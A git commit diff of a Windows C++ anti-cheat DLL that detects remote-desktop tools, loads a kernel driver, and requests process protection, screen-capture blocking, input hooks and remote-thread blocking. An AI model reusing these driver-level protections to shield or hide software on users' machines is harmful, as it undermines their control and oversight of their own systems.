Compare commits

...

2 Commits

Author SHA1 Message Date
maowengrui e91e372b19 init 2026-07-28 15:11:47 +08:00
maowengrui 9b00c5f6eb init 2026-07-28 15:11:25 +08:00
96 changed files with 246308 additions and 73 deletions
+185
View File
@@ -0,0 +1,185 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{5cabfae0-d81b-47a9-a7ba-bc7510be19df}</ProjectGuid>
<RootNamespace>AnitCheatDLL</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<TargetName>Anit_Cheat_DLL_x32</TargetName>
<OutDir>$(SolutionDir)Bin\$(Platform)\</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<TargetName>Anit_Cheat_DLL_x64</TargetName>
<OutDir>$(SolutionDir)Bin\$(Platform)\</OutDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;ANITCHEATDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;ANITCHEATDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;ANITCHEATDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;ANITCHEATDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<DisableSpecificWarnings>4996</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="active_check.cpp" />
<ClCompile Include="client_comm_shared.cpp" />
<ClCompile Include="client_palpit.cpp" />
<ClCompile Include="client_pipe.cpp" />
<ClCompile Include="dllmain.cpp" />
<ClCompile Include="client_driver.cpp" />
<ClCompile Include="driver_func.cpp" />
<ClCompile Include="exprots_api_func.cpp" />
<ClCompile Include="private_funcion.cpp" />
<ClCompile Include="utils.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="active_check.h" />
<ClInclude Include="Base.h" />
<ClInclude Include="client_comm_shared.h" />
<ClInclude Include="client_driver.h" />
<ClInclude Include="client_palpit.h" />
<ClInclude Include="client_pipe.h" />
<ClInclude Include="driver_func.h" />
<ClInclude Include="exprots_api_func.h" />
<ClInclude Include="private_funcion.h" />
<ClInclude Include="utils.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,105 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="exprots_api_func">
<UniqueIdentifier>{4cff08df-0e1b-481a-942d-bd70368f6d90}</UniqueIdentifier>
</Filter>
<Filter Include="Driver">
<UniqueIdentifier>{3b6d2fba-e76e-479d-b0da-d175d4c27e2f}</UniqueIdentifier>
</Filter>
<Filter Include="utils">
<UniqueIdentifier>{fc2d9f5d-5c5f-45c0-8b29-64c039ca6699}</UniqueIdentifier>
</Filter>
<Filter Include="private_funcion">
<UniqueIdentifier>{6b86d410-ce98-4b8b-b00f-80a32eeeb438}</UniqueIdentifier>
</Filter>
<Filter Include="comm_shared">
<UniqueIdentifier>{76008651-8a11-42af-b854-41f7cd04a319}</UniqueIdentifier>
</Filter>
<Filter Include="client_palpit">
<UniqueIdentifier>{f04162c8-3fb0-4100-822c-af77bb70dbf5}</UniqueIdentifier>
</Filter>
<Filter Include="active_check">
<UniqueIdentifier>{bdfbbba6-e274-4b3c-9f2e-0c2285fb3868}</UniqueIdentifier>
</Filter>
<Filter Include="client_pipe">
<UniqueIdentifier>{f1272f12-b056-43cc-840b-af2cacdf461e}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="exprots_api_func.cpp">
<Filter>exprots_api_func</Filter>
</ClCompile>
<ClCompile Include="client_driver.cpp">
<Filter>Driver</Filter>
</ClCompile>
<ClCompile Include="client_comm_shared.cpp">
<Filter>comm_shared</Filter>
</ClCompile>
<ClCompile Include="utils.cpp">
<Filter>utils</Filter>
</ClCompile>
<ClCompile Include="private_funcion.cpp">
<Filter>private_funcion</Filter>
</ClCompile>
<ClCompile Include="client_palpit.cpp">
<Filter>client_palpit</Filter>
</ClCompile>
<ClCompile Include="driver_func.cpp">
<Filter>Driver</Filter>
</ClCompile>
<ClCompile Include="active_check.cpp">
<Filter>active_check</Filter>
</ClCompile>
<ClCompile Include="client_pipe.cpp">
<Filter>client_pipe</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Base.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="exprots_api_func.h">
<Filter>exprots_api_func</Filter>
</ClInclude>
<ClInclude Include="client_driver.h">
<Filter>Driver</Filter>
</ClInclude>
<ClInclude Include="client_comm_shared.h">
<Filter>comm_shared</Filter>
</ClInclude>
<ClInclude Include="utils.h">
<Filter>utils</Filter>
</ClInclude>
<ClInclude Include="private_funcion.h">
<Filter>private_funcion</Filter>
</ClInclude>
<ClInclude Include="client_palpit.h">
<Filter>client_palpit</Filter>
</ClInclude>
<ClInclude Include="driver_func.h">
<Filter>Driver</Filter>
</ClInclude>
<ClInclude Include="active_check.h">
<Filter>active_check</Filter>
</ClInclude>
<ClInclude Include="client_pipe.h">
<Filter>client_pipe</Filter>
</ClInclude>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
File diff suppressed because it is too large Load Diff
+16
View File
@@ -0,0 +1,16 @@
#pragma once
#ifndef BASE_H
#define BASE_H
#include <Windows.h>
#include <iostream>
#include <string>
#include <thread>
#include <TlHelp32.h>
#include <mutex>
#include <deque>
#include <vector>
using namespace std;
#endif // !BASE_H
+68
View File
@@ -0,0 +1,68 @@
#include "active_check.h"
#include "utils.h"
namespace active_check
{
auto check_awesun_process() -> bool
{
auto dwPid = utils::GetProcessByName(L"AweSun.exe");
auto hwnd = FindWindow(L"FLUTTERVIEW", NULL);
if (dwPid || hwnd)
return true;
return false;
}
auto check_todesk_process() -> bool
{
auto dwPid = utils::GetProcessByName(L"ToDesk.exe");
auto hwnd = FindWindow(NULL, L"ToDesk");
if (dwPid || hwnd)
return true;
return false;
}
auto check_asklink_process() -> bool
{
auto dwPid = utils::GetProcessByName(L"AskLink.exe");
auto hwnd = FindWindow(NULL, L"AskLink");
if (dwPid || hwnd)
return true;
return false;
}
auto check_uu_remote_process() -> bool
{
auto dwPid = utils::GetProcessByName(L"GameViewer.exe");
auto hwnd = FindWindow(NULL, L"ÍøÒ×UUÔ¶³Ì");
if (dwPid || hwnd)
return true;
return false;
}
auto check_remote_app_process() -> bool
{
if (check_awesun_process() ||
check_todesk_process() ||
check_asklink_process() ||
check_uu_remote_process())
{
return true;
}
return false;
}
}
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include "Base.h"
namespace active_check
{
//检测向日葵进程
auto check_awesun_process() -> bool;
//检测Todesk进程
auto check_todesk_process() -> bool;
//检测连连控进程
auto check_asklink_process() -> bool;
//检测网易UU远程进程
auto check_uu_remote_process() -> bool;
//检测远程软件进程
auto check_remote_app_process() -> bool;
}
+134
View File
@@ -0,0 +1,134 @@
#include "client_comm_shared.h"
#include "private_funcion.h"
#include "utils.h"
#include "client_palpit.h"
#include "driver_func.h"
HANDLE hMapHandle;
PMAPPING_USER_MEMORY pMapping_Memory;
namespace client_shared_mapping
{
auto open_shared_mapping() -> HANDLE
{
//尝试打开管道建立通信
//Anit-Server进程没有起来就就等死
static int break_byte_count = 0;
while (true)
{
if (break_byte_count > 10)
break;
auto hMap = OpenFileMappingA(FILE_MAP_ALL_ACCESS, FALSE, SHARED_NAME);
if (hMap)
return hMap;
break_byte_count++;
Sleep(1000);
}
return FALSE;
}
auto mapping_shared_memory(HANDLE hMap) -> PMAPPING_USER_MEMORY
{
auto pData = (_MAPPING_USER_MEMORY*)MapViewOfFile(
hMap,
FILE_MAP_ALL_ACCESS,
0, 0,
0
);
return pData;
}
auto StartServerProcess(CONST char* Path) -> BOOL
{
if (GetFileAttributesA(Path) != INVALID_FILE_ATTRIBUTES)
{
char buf[256]{ 0 };
sprintf_s(buf, "%s\\Anit-Seriver.exe", Path);
if (private_funcion::create_start_process(buf))
{
/*hMapHandle = client_shared_mapping::open_shared_mapping();
if (hMapHandle)
{
pMapping_Memory = client_shared_mapping::mapping_shared_memory(hMapHandle);
if (pMapping_Memory)
{
client_palpit::create_papit_thread(pMapping_Memory);
return TRUE;
}
}*/
}
}
else
{
auto string = "[Anit-Cheat]系统运行发生致命错误,错误代码:" + to_string(GetLastError());
MessageBoxA(NULL, string.c_str(), "您似乎遇到了一些问题", MB_OK);
return FALSE;
}
}
//auto anit_cheat_create_process() -> BOOL
//{
// BOOL bIsSrc;
// CHAR* lastSlash;
// CONST char* path = "C:\\Program Files\\AnitCheatFile\\Anit-Seriver.exe";
// if (GetFileAttributesA(path) != INVALID_FILE_ATTRIBUTES)
// {
// DWORD size = 0;
// auto filebuff = utils::ReadBinaryFile(path, &size);
// if (!filebuff)
// return FALSE;
// auto pNThander = reinterpret_cast<PIMAGE_NT_HEADERS>(filebuff + reinterpret_cast<PIMAGE_DOS_HEADER>(filebuff)->e_lfanew);
// auto pFilehander = &pNThander->FileHeader;
// if (!pFilehander->TimeDateStamp)
// return FALSE;
// auto buff_doshander = reinterpret_cast<PIMAGE_DOS_HEADER>(Anit_Cheat_EXE);
// auto buff_nthander = reinterpret_cast<PIMAGE_NT_HEADERS>((DWORD64)buff_doshander + buff_doshander->e_lfanew);
// auto buff_FileHander = &buff_nthander->FileHeader;
// if (!buff_FileHander->TimeDateStamp)
// return FALSE;
// if (buff_FileHander->TimeDateStamp != pFilehander->TimeDateStamp)
// goto create;
// goto run;
// }
// else
// {
// create:
// char dirPath[MAX_PATH];
// strcpy_s(dirPath, path);
// lastSlash = strrchr(dirPath, '\\');
// if (lastSlash) {
// *lastSlash = '\0';
// // 2. 创建目录(如果不存在)
// if (!utils::CreateDirectoryRecursive(dirPath)) {
// return FALSE;
// }
// }
// bIsSrc = utils::WriteShellcodeToFile(path, Anit_Cheat_EXE, sizeof(Anit_Cheat_EXE));
// if (bIsSrc)
// {
// run:
// bIsSrc = private_funcion::create_start_process(path);
// if (bIsSrc)
// return TRUE;
// }
// }
// return FALSE;
//}
}
+57
View File
@@ -0,0 +1,57 @@
#pragma once
#ifndef COMM_PIPE
#define COMM_PIPE
#include "Base.h"
#define SHARED_NAME "ServerMappingMmeory"
typedef struct _MAPPING_USER_MEMORY
{
char str[256];
//驱动执行
DWORD load_driver_code;
//轮巡
DWORD add_index_code;
DWORD server_pid;
DWORD client_pid;
//轮巡返回数
DWORD Index;
//返回状态
BOOL bIsSuc;
}MAPPING_USER_MEMORY, * PMAPPING_USER_MEMORY;
enum TYPE_COOM
{
BASE = 0x1000,
KD_LOAD_DRIVER,
ADD_INDEX_VAL,
};
namespace client_shared_mapping
{
//打开共享内存
auto open_shared_mapping()->HANDLE;
//映射共享内存
auto mapping_shared_memory(HANDLE hMap)->PMAPPING_USER_MEMORY;
//启动服务进程
auto StartServerProcess(CONST char* Path)->BOOL;
//启动目标通信进程
auto anit_cheat_create_process()->BOOL;
}
extern HANDLE hMapHandle;
extern PMAPPING_USER_MEMORY pMapping_Memory;
#endif // !comm_pipe
+141
View File
@@ -0,0 +1,141 @@
#include "client_driver.h"
#include "driver_func.h"
#include "client_pipe.h"
client_driver* client_driver::instance = nullptr;
PMAPPING_USER_MEMORY client_driver::mapping_data = nullptr;
auto client_driver::fn_get_instance() -> client_driver*
{
if (instance == nullptr)
{
instance = new client_driver;
}
if (mapping_data == nullptr)
{
mapping_data = pMapping_Memory;
}
return instance;
}
auto client_driver::driver_map_load() -> BOOL
{
return HBClientLoadDriverW();
}
auto client_driver::check_load_driver() -> BOOL
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
CMD_COMM data;
data.CommID = DRIVER_COOM_TYPE::DRIVER_COMM_TEST;
data.status = (DWORD64)&status;
driver_func::driver_comm_func(&data, sizeof(data));
return NT_SUCCESS(status);
}
auto client_driver::add_process_protect(DWORD Pid) ->BOOL
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
CMD_COMM data;
IOCTL_PROCESS process{ 0 };
process.Pid = Pid;
data.CommID = DRIVER_COOM_TYPE::DRIVER_PROTECT_PROCESS;
data.Buf = (DWORD64)&process;
data.status = (DWORD64)&status;
driver_func::driver_comm_func(&data, sizeof(data));
return NT_SUCCESS(status);
}
auto client_driver::delete_process_protect(DWORD Pid)->BOOL
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
CMD_COMM data;
IOCTL_PROCESS process{ 0 };
process.Pid = Pid;
data.CommID = DRIVER_COOM_TYPE::DRIVER_CANCEL_PROTECT_PROCESS;
data.Buf = (DWORD64)&process;
data.status = (DWORD64)&status;
driver_func::driver_comm_func(&data, sizeof(data));
return NT_SUCCESS(status);
}
auto client_driver::window_anit_screen(HWND hwnd, UINT Flags) -> BOOL
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
CMD_COMM data;
IOCTL_WINDOW window{ 0 };
window.HWND = (DWORD64)hwnd;
window.Flags = Flags;
data.CommID = DRIVER_COOM_TYPE::WINDOW_ANIT_SCREEN;
data.Buf = (DWORD64)&window;
data.status = (DWORD64)&status;
driver_func::driver_comm_func(&data, sizeof(data));
return status;
}
auto client_driver::install_mouse_keyboard() -> BOOL
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
CMD_COMM data;
data.CommID = DRIVER_COOM_TYPE::INSTALL_MOUSE_KEYBOARD;
data.status = (DWORD64)&status;
driver_func::driver_comm_func(&data, sizeof(data));
return status;
}
auto client_driver::unload_mouse_keyboard()->BOOL
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
CMD_COMM data;
data.CommID = DRIVER_COOM_TYPE::UNLOAD_MOUSE_KEYBOARD;
data.status = (DWORD64)&status;
driver_func::driver_comm_func(&data, sizeof(data));
return status;
}
auto client_driver::add_white_mouse_keyoard_process(DWORD Pid) -> BOOL
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
IOCTL_PROCESS process{ 0 };
process.Pid = Pid;
CMD_COMM data;
data.CommID = DRIVER_COOM_TYPE::ADD_WHITE_PROCESS;
data.Buf = (DWORD64)&process;
data.status = (DWORD64)&status;
driver_func::driver_comm_func(&data, sizeof(data));
return status;
}
auto client_driver::enjoin_remote_thread(BOOL val) -> BOOL
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
IOCTL_PROCESS process{ 0 };
process.is_no_create_remote_thread = val;
CMD_COMM data;
data.CommID = DRIVER_COOM_TYPE::PROTECT_THREAD_CONTRL;
data.Buf = (DWORD64)&process;
data.status = (DWORD64)&status;
driver_func::driver_comm_func(&data, sizeof(data));
return status;
}
+40
View File
@@ -0,0 +1,40 @@
#pragma once
#ifndef DRIVER_API_FUNC
#define DRIVER_API_FUNC
#include "Base.h"
#include "client_comm_shared.h"
class client_driver
{
public:
static auto fn_get_instance()->client_driver*;
auto driver_map_load()->BOOL;
auto check_load_driver()->BOOL;
auto add_process_protect(DWORD Pid)->BOOL;
auto delete_process_protect(DWORD Pid)->BOOL;
auto window_anit_screen(HWND hwnd, UINT Flags)->BOOL;
auto install_mouse_keyboard()->BOOL;
auto unload_mouse_keyboard()->BOOL;
auto add_white_mouse_keyoard_process(DWORD Pid)->BOOL;
auto enjoin_remote_thread(BOOL val)->BOOL;
private:
static client_driver* instance;
static PMAPPING_USER_MEMORY mapping_data;
};
#endif // !DRIVER_API_FUNC
+87
View File
@@ -0,0 +1,87 @@
#include "client_palpit.h"
#include "client_comm_shared.h"
namespace client_palpit
{
DWORD WINAPI palpit_thread(LPVOID parmar)
{
static int break_count_fail = 0;
while (TRUE)
{
auto mapping_data = reinterpret_cast<PMAPPING_USER_MEMORY>(parmar);
/*strcpy_s(mapping_data->str, "fail");
mapping_data->add_index_code = TRUE;
auto val = 100;
mapping_data->Index = val;
while (strcmp(mapping_data->str, "ok")) {
if (break_count_fail > 5) {
MessageBoxA(NULL, "[client] 请求超时 错误代码:-502", NULL, NULL);
exit(0);
}
break_count_fail++;
Sleep(1000);
}
if ((val + 1) != mapping_data->Index)
{
MessageBoxA(NULL, "[client] 组件发生异常 错误代码:-501", NULL, NULL);
exit(0);
}
break_count_fail = 0;*/
//
// 检测进程是否退出
//
if (!mapping_data->client_pid)
mapping_data->client_pid = GetCurrentProcessId();
//static int fail_index = 0;
//static HANDLE hProcess = 0;
//auto server_pid = mapping_data->server_pid;
//if (hProcess == NULL)
//{
// if (fail_index > 3) {
// exit(0);
// }
//
// hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, server_pid);
// fail_index++;
// continue;
//}
////
////监控客户端进程是否退出
////
//DWORD exitCode;
//if (GetExitCodeProcess(hProcess, &exitCode)) {
// if (exitCode != STILL_ACTIVE) {
// exit(0);
// }
//}
Sleep(1000);
}
return 0;
}
auto create_papit_thread(LPVOID parmar) -> void
{
CloseHandle(CreateThread(nullptr, 0, palpit_thread, parmar, 0, nullptr));
}
}
+14
View File
@@ -0,0 +1,14 @@
#pragma once
#ifndef CHLENT_PALPIT
#define CHLENT_PALPIT
#include "Base.h"
namespace client_palpit
{
auto create_papit_thread(LPVOID parmar) -> void;
}
#endif // !client_palpit
+657
View File
@@ -0,0 +1,657 @@
#include "client_pipe.h"
static LONG g_started = 0;
static HANDLE g_stop_event = nullptr;
static HANDLE g_queue_event = nullptr;
static HANDLE g_connected_event = nullptr;
static HANDLE g_worker_thread = nullptr;
static HANDLE g_pipe = INVALID_HANDLE_VALUE;
static std::atomic<DWORD> g_client_id{ 0 };
static std::atomic<uint64_t> g_session_id{ 0 };
static std::atomic<uint64_t> g_next_request_id{ 1 };
static std::mutex g_queue_mutex;
static std::deque<std::shared_ptr<PendingCommand>> g_queue;
static void LogA(const char* fmt, ...)
{
char buf[512]{};
va_list ap;
va_start(ap, fmt);
vsnprintf_s(buf, sizeof(buf), _TRUNCATE, fmt, ap);
va_end(ap);
OutputDebugStringA(buf);
}
static void ExitInjectedProcess(UINT exit_code)
{
LogA("[dll-client] ExitProcess code=%u\n", exit_code);
ExitProcess(exit_code);
}
static bool ReadExact(HANDLE pipe, void* buffer, DWORD size)
{
BYTE* ptr = static_cast<BYTE*>(buffer);
DWORD total = 0;
while (total < size)
{
DWORD got = 0;
if (!ReadFile(pipe, ptr + total, size - total, &got, nullptr))
return false;
if (got == 0)
return false;
total += got;
}
return true;
}
static bool WriteExact(HANDLE pipe, const void* buffer, DWORD size)
{
const BYTE* ptr = static_cast<const BYTE*>(buffer);
DWORD total = 0;
while (total < size)
{
DWORD wrote = 0;
if (!WriteFile(pipe, ptr + total, size - total, &wrote, nullptr))
return false;
if (wrote == 0)
return false;
total += wrote;
}
return true;
}
bool WideToUtf8(const std::wstring& input, char* output, size_t output_size)
{
if (!output || output_size == 0)
return false;
output[0] = '\0';
if (input.empty())
return true;
int written = WideCharToMultiByte(
CP_UTF8,
0,
input.c_str(),
static_cast<int>(input.size()),
output,
static_cast<int>(output_size - 1),
nullptr,
nullptr);
if (written <= 0)
return false;
output[written] = '\0';
return true;
}
static void QueuePush(const std::shared_ptr<PendingCommand>& cmd)
{
std::lock_guard<std::mutex> lock(g_queue_mutex);
g_queue.push_back(cmd);
SetEvent(g_queue_event);
}
static std::shared_ptr<PendingCommand> QueuePop()
{
std::lock_guard<std::mutex> lock(g_queue_mutex);
if (g_queue.empty())
{
ResetEvent(g_queue_event);
return {};
}
auto cmd = g_queue.front();
g_queue.pop_front();
if (g_queue.empty())
ResetEvent(g_queue_event);
return cmd;
}
static void FailPendingCommands(DWORD status, const char* reply)
{
(void)reply;
for (;;)
{
auto cmd = QueuePop();
if (!cmd)
break;
cmd->status = status;
if (cmd->done_event)
SetEvent(cmd->done_event);
}
}
static void RequestStopNoWait()
{
if (g_stop_event)
SetEvent(g_stop_event);
}
static void CleanupClientStateNoWait()
{
RequestStopNoWait();
if (g_worker_thread)
{
CloseHandle(g_worker_thread);
g_worker_thread = nullptr;
}
if (g_stop_event)
{
CloseHandle(g_stop_event);
g_stop_event = nullptr;
}
if (g_queue_event)
{
CloseHandle(g_queue_event);
g_queue_event = nullptr;
}
if (g_connected_event)
{
CloseHandle(g_connected_event);
g_connected_event = nullptr;
}
}
static bool ConnectToServer(HANDLE& pipe)
{
for (;;)
{
if (WaitForSingleObject(g_stop_event, 0) == WAIT_OBJECT_0)
return false;
pipe = CreateFileW(
kPipeName,
GENERIC_READ | GENERIC_WRITE,
0,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (pipe != INVALID_HANDLE_VALUE)
{
DWORD mode = PIPE_READMODE_MESSAGE;
SetNamedPipeHandleState(pipe, &mode, nullptr, nullptr);
return true;
}
DWORD err = GetLastError();
if (err == ERROR_PIPE_BUSY)
{
if (!WaitNamedPipeW(kPipeName, 1000))
Sleep(250);
continue;
}
Sleep(500);
}
}
static bool SendHello(HANDLE pipe)
{
Msg hello{};
hello.type = static_cast<uint32_t>(MsgType::Hello);
hello.pid = GetCurrentProcessId();
hello.version = kProtocolVersion;
hello.tick = static_cast<uint64_t>(NowMs());
hello.session_id = 0;
if (!WriteExact(pipe, &hello, sizeof(hello)))
{
LogA("[dll-client] hello write failed: %lu\n", GetLastError());
return false;
}
Msg ack{};
if (!ReadExact(pipe, &ack, sizeof(ack)) || ack.type != static_cast<uint32_t>(MsgType::HelloAck))
{
LogA("[dll-client] hello ack failed: %lu\n", GetLastError());
return false;
}
g_client_id.store(ack.client_id);
g_session_id.store(ack.session_id);
SetEvent(g_connected_event);
LogA("[dll-client] connected client_id=%lu session=%llu\n",
g_client_id.load(),
static_cast<unsigned long long>(g_session_id.load()));
return true;
}
static bool SendHeartbeat(HANDLE pipe)
{
Msg heartbeat{};
heartbeat.type = static_cast<uint32_t>(MsgType::Heartbeat);
heartbeat.client_id = g_client_id.load();
heartbeat.pid = GetCurrentProcessId();
heartbeat.version = kProtocolVersion;
heartbeat.session_id = g_session_id.load();
heartbeat.tick = static_cast<uint64_t>(NowMs());
